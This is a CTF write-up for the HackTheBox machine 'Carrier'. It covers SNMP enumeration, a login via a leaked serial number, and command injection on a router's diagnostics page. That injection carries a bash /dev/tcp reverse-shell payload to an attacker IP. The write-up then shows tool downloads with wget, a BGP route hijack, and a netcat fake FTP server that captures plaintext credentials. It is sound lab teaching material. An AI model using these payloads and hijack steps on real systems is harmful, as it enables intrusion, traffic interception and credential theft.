HackTheBox: Carrier writeup
Carrier was a very interesting box where a web command injection gave access to a BGP router. After some BGP Hijacking magic, it was possible to retrieve the FTP credentials of a rich Nigerian Prince, which allowed us to read the flag stored on this FTP server…
Table of Contents
Initial Foothold And User Access
Recon
The initial nmap
scan revealed an Apache web server on port 80 and an SSH server on port 22.
$ nmap -sC -sV -vvv 10.10.10.105
[...]
PORT STATE SERVICE REASON VERSION
21/tcp filtered ftp no-response
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 15:a4:28:77:ee:13:07:06:34:09:86:fd:6f:cc:4c:e2 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDI2Jfx6VeMU2wFDys5YoSIVCu4U626/VDawUrXKa5SR+D8HaNvt6QFECtQumoFcYzxD7Jnd3PKw/dXTXvePTPnolDUNV3oim
X8gEI3iY157v5scgrOKFjw39cTMuTfLc7/rM8e2TOeziN4yzzLfWAiTbe4wfiDe8cea7zJ1RFwvgGc398xiOA8bo1nwMD0wUkduJhtH4V98LpJZOVB4tMmtCdyb1T+e3HIR/1Wbm
MBLs0e6Cc/rf+K8vgqu6Tu/o4o8/TZ9aH9K5xoDRUXjU2R1w/Bi0HvYYHFRf664/NG9WcK/R0VlV6j92DOYL9wdUYwANyQPc4YCDfyuM6F6Bbd
| 256 37:be:de:07:0f:10:bb:2b:b5:85:f7:9d:92:5e:83:25 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJToeoLQWJwkfcWBimMzO4E6BKOaHbTkWIk1uHoniOdaUaDL5C6MO2NeYYSaru
/ikAYSHPU83p1p6hNcOJVy+OY=
| 256 89:5a:ee:1c:22:02:d2:13:40:f2:45:2e:70:45:b0:c4 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIN0vm7BcvmBgddJb7k1W7qUkBgn2n0T1bdOU6GV1JB8
80/tcp open http syn-ack Apache httpd 2.4.18 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
A UDP scan turned out to be also very interesting (--max-retries 0
drastically reduces the scanning time).
$ sudo nmap -sU --max-retries 0 10.10.10.105
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-16 19:38 CET
Warning: 10.10.10.105 giving up on port because retransmission cap hit (0).
Nmap scan report for 10.10.10.105
Host is up (0.040s latency).
Not shown: 991 open|filtered ports
PORT STATE SERVICE
161/udp open snmp
[...]
Very SNMP
Nmap Scripting Engine provides a script named snmp-brute, which is useful for bruteforcing snmp communities.
$ sudo nmap -sU --script snmp-brute -p161 10.10.10.105
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-16 19:42 CET
Nmap scan report for 10.10.10.105
Host is up (0.041s latency).
PORT STATE SERVICE
161/udp open snmp
| snmp-brute:
|_ public - Valid credentials
Nmap done: 1 IP address (1 host up) scanned in 2.15 seconds
snmpwalk
is a script automating the exploration of a MIB for a given community. Thanks to this tool, we could retrieve a string that will be essential in the rest of the box.
$ snmpwalk -c public 10.10.10.105 -v1
iso.3.6.1.2.1.47.1.1.1.1.11 = STRING: "SN#NET_45JDX23"
End of MIB
Let’s move on to the web server!
Lyghtspeed web server
The web server showed a login page when browsing to http://10.10.10.105:80 as well as error codes 45007 and 45009.
Trivial username/password combinations were not successful so I focused on the enumeration using gobuster
.
$ gobuster -u http://10.10.10.105 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 50 -x php
=====================================================
Gobuster v2.0.0 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.105/
[+] Threads : 50
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Status codes : 200,204,301,302,307,403
[+] Extensions : php
[+] Timeout : 10s
=====================================================
2019/03/16 20:14:41 Starting gobuster
=====================================================
/index.php (Status: 200)
/img (Status: 301)
/tools (Status: 301)
/doc (Status: 301)
/css (Status: 301)
/js (Status: 301)
/tickets.php (Status: 302)
/fonts (Status: 301)
/dashboard.php (Status: 302)
/debug (Status: 301)
/diag.php (Status: 302)
=====================================================
2019/03/16 20:17:32 Finished
=====================================================
Most of the potentially interesting pages redirected to the login page. However, a pdf file named “error_codes.pdf” was available under /doc.
error_codes.pdf gives a description for every error code of the Lyghtspeed Management Platform. Let’s study the meaning of codes 45007 and 45009 that we’ve seen ealier on the login page.
The string we found in the MIB is actually the serial number of the chassis (SN#NET_45JDX23).
Thanks to this indication, I managed to login with the following credentials: admin/NET_45JDX23.
From Command Injection to Reverse Shell
Once logged in, a dashboard and two other pages were accessible.
Tickets
The “Tickets” page gave a lot of clues about the second part of the exploitation. It was mentioning a Nigerian Prince having issues connecting to a FTP server. BGP routing among AS was also evoked.
Diagnostics
The “Diagnostics” page seemed to show the output of the command ps -aux | grep quagga | grep -v grep
.
After examining the POST request sent when clicking on “Verify status” with Burp, it occurred that the check parameter was the base64-encoding of “quagga”.
Let’s see if we can control the output by modifying this parameter:
Indeed, the output has been modified to show everything related to “ssh”. Now, let’s try to inject other commands in order to get a reverse shell on the machine.
SPOILER: The user flag can be retrieved without getting a reverse shell but it is mandatory for the rest of the box.
Road to Reverse Shell
This one was pretty difficult to trigger, I must have tried a dozen of different reverse shell payloads before finding the right one: ; /bin/bash -c "bash -i >& /dev/tcp/10.10.14.89/9999 0>&1"
- Base64 encode the payload: OyAvYmluL2Jhc2ggLWMgImJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuODkvOTk5OSAwPiYxIg==
- Setup a local listener:
nc -lvnp 9999
- Send the command inside the POST request via the check parameter (Burp Repeater ).
$ nc -lvnp 9999
listening on [any] 9999 ...
connect to [10.10.14.89] from (UNKNOWN) [10.10.10.105] 58148
bash: cannot set terminal process group (25835): Inappropriate ioctl for device
bash: no job control in this shell
root@r1:~#
Surprise! We’re root already.
The user flag can be retrieved at /root/user.txt.
cat /root/user.txt
5649[...]
Half of the job is done, let’s move on to the privilege escalation phase!
NOTE: Only after finishing the box, I realized that I could have simply added my own ssh public key to /root/.ssh/authorized_keys, which would have allowed me to login via ssh…
Privilege escalation
Upgrading to a fully interactive reverse shell is a good reflex to adopt as soon as we’re dealing with a reverse shell (see my other article Upgrading to a fully interactive reverse shell).
As a few hints suggested it, the privilege escalation part of this box is heavily network-related.
Network configuration
The first step consisted in understanding the network topology and examining every configuration files that could give information about it.
The following diagram, available on the web server (http://10.10.10.105/doc/diagram_for_tac.png), was very helpful for understanding the network context:
Network interfaces
The router we’re connected to has 3 network interfaces.
root@r1:~# ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
8: eth0@if9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
link/ether 00:16:3e:d9:04:ea brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 10.99.64.2/24 brd 10.99.64.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::216:3eff:fed9:4ea/64 scope link
valid_lft forever preferred_lft forever
10: eth1@if11: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
link/ether 00:16:3e:8a:f2:4f brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 10.78.10.1/24 brd 10.78.10.255 scope global eth1
valid_lft forever preferred_lft forever
inet6 fe80::216:3eff:fe8a:f24f/64 scope link
valid_lft forever preferred_lft forever
12: eth2@if13: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
link/ether 00:16:3e:20:98:df brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 10.78.11.1/24 brd 10.78.11.255 scope global eth2
valid_lft forever preferred_lft forever
inet6 fe80::216:3eff:fe20:98df/64 scope link
valid_lft forever preferred_lft forever
BGP configuration
The BGP configuration is available in /etc/quagga/bgpd.conf:
root@r1:~# cat /etc/quagga/bgpd.conf
cat /etc/quagga/bgpd.conf
!
! Zebra configuration saved from vty
! 2018/07/02 02:14:27
!
route-map to-as200 permit 10
route-map to-as300 permit 10
!
router bgp 100
bgp router-id 10.255.255.1
network 10.101.8.0/21
network 10.101.16.0/21
redistribute connected
neighbor 10.78.10.2 remote-as 200
neighbor 10.78.11.2 remote-as 300
neighbor 10.78.10.2 route-map to-as200 out
neighbor 10.78.11.2 route-map to-as300 out
!
line vty
!
Routing table
The routing table can be displayed using ip r
:
root@r1:~# ip r
ip r
default via 10.99.64.1 dev eth0 onlink
10.78.10.0/24 dev eth1 proto kernel scope link src 10.78.10.1
10.78.11.0/24 dev eth2 proto kernel scope link src 10.78.11.1
10.99.64.0/24 dev eth0 proto kernel scope link src 10.99.64.2
10.100.10.0/24 via 10.78.10.2 dev eth1 proto zebra
10.100.11.0/24 via 10.78.10.2 dev eth1 proto zebra
10.100.12.0/24 via 10.78.10.2 dev eth1 proto zebra
10.100.13.0/24 via 10.78.10.2 dev eth1 proto zebra
10.100.14.0/24 via 10.78.10.2 dev eth1 proto zebra
10.100.15.0/24 via 10.78.10.2 dev eth1 proto zebra
10.100.16.0/24 via 10.78.10.2 dev eth1 proto zebra
10.100.17.0/24 via 10.78.10.2 dev eth1 proto zebra
10.100.18.0/24 via 10.78.10.2 dev eth1 proto zebra
10.100.19.0/24 via 10.78.10.2 dev eth1 proto zebra
10.100.20.0/24 via 10.78.10.2 dev eth1 proto zebra
10.120.10.0/24 via 10.78.11.2 dev eth2 proto zebra
10.120.11.0/24 via 10.78.11.2 dev eth2 proto zebra
10.120.12.0/24 via 10.78.11.2 dev eth2 proto zebra
10.120.13.0/24 via 10.78.11.2 dev eth2 proto zebra
10.120.14.0/24 via 10.78.11.2 dev eth2 proto zebra
10.120.15.0/24 via 10.78.11.2 dev eth2 proto zebra
10.120.16.0/24 via 10.78.11.2 dev eth2 proto zebra
10.120.17.0/24 via 10.78.11.2 dev eth2 proto zebra
10.120.18.0/24 via 10.78.11.2 dev eth2 proto zebra
10.120.19.0/24 via 10.78.11.2 dev eth2 proto zebra
10.120.20.0/24 via 10.78.11.2 dev eth2 proto zebra
Updated network diagram
From the network configuration files, we can deduce the IP address of other AS routers, as well as the subnets connected to these AS. This gives the following updated diagram:
What’s the plan?
-
We know from the tickets on the web server, that there is a valuable FTP server in the 10.120.15.0/24 network.
-
Routes are dynamically advertised via BGP and we have control over a BGP router.
-
The priority of BGP routes depends on the size of the advertised subnet (i.e. a route to 10.120.15.0/25 will be given a higher priority than one announcing 10.120.15.0/24).
If we sum up all of these assumptions, we should be able to advertise a fake route to the FTP server to our BGP neighbours so the Nigerian Prince will try to connect to a server inside our own subnet. Since we want to steal his credentials, we will need to setup an FTP server which will ask for a login and a password to anyone contacting it. Once those credentials stolen, we will stop advertising the fake route and connect to the real FTP server with the Nigerian Prince’s logins.
Because a picture speaks a thousand words:
Alright, it is time to move on to the realization.
10.120.15.0/24 scanning
We know the FTP server is somewhere inside the 10.120.15.0/24 subnet but we don’t have its exact IP address. A simple bash script executing ping
on the whole subnet was enough to find out which hosts were up.
#!/bin/bash
if [ "$1" == "" ]
then
echo "Usage ./pingscript.sh [network]"
else
for x in `seq 1 254`; do
ping -c 1 $1.$x | grep "64 bytes" | cut -d" " -f4 | sed 's/.$//'
done
fi
This script can be uploaded to r1 using wget
on a local webserver running on our machine that we have just set up with python -m SimpleHTTPServer
.
root@r1:~# wget http://10.10.14.89:8000/pingscript.sh -O /tmp/script.sh
wget http://10.10.14.89:8000/pingscript.sh -O /tmp/script.sh
--2019-03-17 13:26:31-- http://10.10.14.89:8000/pingscript.sh
Connecting to 10.10.14.89:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 182 [text/x-sh]
Saving to: ‘/tmp/script.sh’
0K 100% 19.6M=0s
2019-03-17 13:26:31 (19.6 MB/s) - ‘/tmp/script.sh’ saved [182/182]
The result of the execution revealed two hosts: 10.120.15.1 and 10.120.15.10.
root@r1:~# chmod +x /tmp/script.sh
chmod +x /tmp/script.sh
root@r1:~# /tmp/script.sh 10.120.15
/tmp/script.sh 10.120.15
10.120.15.1
10.120.15.10
Using the same technique as previously, I have uploaded a static version of nmap
in order to scan the two hosts with more details.
10.120.15.1
The scan on the first host found didn’t show any FTP server.
root@r1:~# /tmp/nmap -v 10.120.15.1
/tmp/nmap -v 10.120.15.1
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2019-03-17 13:36 UTC
[...]
PORT STATE SERVICE
22/tcp open ssh
179/tcp open bgp
Read data files from: /etc
Nmap done: 1 IP address (1 host up) scanned in 1.59 seconds
Raw packets sent: 1210 (53.216KB) | Rcvd: 1208 (48.388KB)
10.120.15.10
10.120.15.10 seems to be our guy!
root@r1:~# /tmp/nmap -v 10.120.15.10
/tmp/nmap -v 10.120.15.10
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2019-03-17 13:38 UTC
[...]
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
53/tcp open domain
Read data files from: /etc
Nmap done: 1 IP address (1 host up) scanned in 1.60 seconds
Raw packets sent: 1210 (53.216KB) | Rcvd: 1208 (48.392KB)
We can now move on to the BGP Hijacking part.
BGP Hijacking
NOTE: The way I did BGP Hijacking was not the intended one, but it was much easier and faster. For a clear explanation of the intended method, I recommend you to watch ippsec’s video or to read 0xdf’s writeup.
Fake route Advertising
Quagga routers can be administrated via vtysh
. In order to advertise a route to the BGP neighbors, the following commands are enough:
root@r1:~# vtysh
vtysh
Hello, this is Quagga (version 0.99.24.1).
Copyright 1996-2005 Kunihiro Ishiguro, et al.
r1# conf t
conf t
r1(config)# router bgp 100
router bgp 100
r1(config-router)# network 10.120.15.0/25
network 10.120.15.0/25
r1(config-router)# exit
exit
r1(config)# exit
exit
The prefix /25 is voluntarily more specific than /24 so that our route will be given a higher priority.
Changing eth2 ip address
Now, we have to add the ip address of the FTP server to eth2 interface.
root@r1:~# ip addr add 10.120.15.10/25 dev eth2
ip addr add 10.120.15.10/25 dev eth2
root@r1:~# ip a
ip a
[...]
12: eth2@if13: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
link/ether 00:16:3e:20:98:df brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 10.78.11.1/24 brd 10.78.11.255 scope global eth2
valid_lft forever preferred_lft forever
inet 10.120.15.10/25 scope global eth2
valid_lft forever preferred_lft forever
inet6 fe80::216:3eff:fe20:98df/64 scope link
valid_lft forever preferred_lft forever
The Nigerian Prince should now be redirected to our machine. We can verify this by listening on port 21 with nc
:
root@r1:~# nc -lvnp 21
nc -lvnp 21
Listening on [0.0.0.0] (family 0, port 21)
Connection from [10.78.10.2] port 21 [tcp/*] accepted (family 2, sport 44696)
USER root
PASV
QUIT
We can see that the user root is trying to login but it disconnects instantly since our server is not answering.
Faking an FTP server
There is no need to code something complicated in order to fake an FTP server, it can be very simply done with nc
. The FTP protocol uses raw telnet commands so we can fake a server by typing response codes manually. All we have to do is to reply with code 331 after the user has sent his username. Then, the user will supply his password in plaintext.
root@r1:~# nc -lvnp 21
nc -lvnp 21
Listening on [0.0.0.0] (family 0, port 21)
Connection from [10.78.10.2] port 21 [tcp/*] accepted (family 2, sport 44728)
USER root
331 Follow @BoiteAKlou # Typed manually
PASS BGPtelc0rout1ng
PASV
QUIT
Retrieving the flag
It looks like we have the root credentials of the real FTP server! Let’s verify this.
After removing the ip address of the FTP server from eth2 and resetting the BGP configuration, we are finally able to connect to the real Carrier machine (FTP credentials == SSH credentials).
root@r1:~# ip addr del 10.120.15.10/25 dev eth2
root@r1:~# ifdown eth2
ifdown eth2
root@r1:~# ifup eth2
ifup eth2
root@r1:~# ping -c 1 10.120.15.10
ping -c 1 10.120.15.10
PING 10.120.15.10 (10.120.15.10) 56(84) bytes of data.
64 bytes from 10.120.15.10: icmp_seq=1 ttl=63 time=0.054 ms
--- 10.120.15.10 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.054/0.054/0.054/0.000 ms
root@r1:~# python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
root@r1:~# ssh [email protected]
ssh [email protected]
[email protected]'s password: BGPtelc0rout1ng
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-24-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun Mar 17 15:31:44 UTC 2019
System load: 0.07 Users logged in: 0
Usage of /: 40.8% of 19.56GB IP address for ens33: 10.10.10.105
Memory usage: 47% IP address for lxdbr0: 10.99.64.1
Swap usage: 1% IP address for lxdbr1: 10.120.15.10
Processes: 220
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
4 packages can be updated.
0 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Wed Sep 5 14:32:15 2018
root@carrier:~# ls
ls
root.txt secretdata.txt
root@carrier:~# cat root.txt
cat root.txt
283[...]
Final words
I would like to thank snowscan, the author of this great box. It’s pretty rare to find network-related boxes because it requires a lot of preparation and materials. However, boxes like this are very realistic and allow us to learn a lot of new skills.
Thanks for reading this writeup, I hope you’ve enjoyed!
BoiteAKlou